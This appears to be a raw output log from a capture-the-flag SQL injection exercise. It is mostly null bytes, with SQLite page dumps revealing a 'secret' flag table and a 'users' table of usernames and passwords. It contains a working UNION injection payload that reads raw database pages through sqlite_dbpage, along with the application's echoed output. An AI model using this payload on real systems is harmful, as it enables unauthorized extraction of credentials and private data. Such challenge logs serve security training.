x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Z\x03\x07\x17\x19\x19\x01\x81\x0ftablesecretsecret\x04CREATE TABLE secret (\n flag TEXT PRIMARY KEY\n )+\x04\x06\x17?\x19\x01\x00indexsqlite_autoindex_secret_1secret\x05\x7f\x01\x07\x17\x17\x17\x01\x81]tableusersusers\x02CREATE TABLE users (\n username TEXT PRIMARY KEY,\n password TEXT NOT NULL\n ))\x02\x06\x17=\x17\x01\x00indexsqlite_autoindex_users_1users\x03\x00\x00\x00\x08\x00\x00\x00\x00&amp;#39;!
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=2 --
Hello, b&amp;#39;\r\x00\x00\x00\x03\x0f\xc1\x00\x0f\xed\x0f\xdb\x0f\xc1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\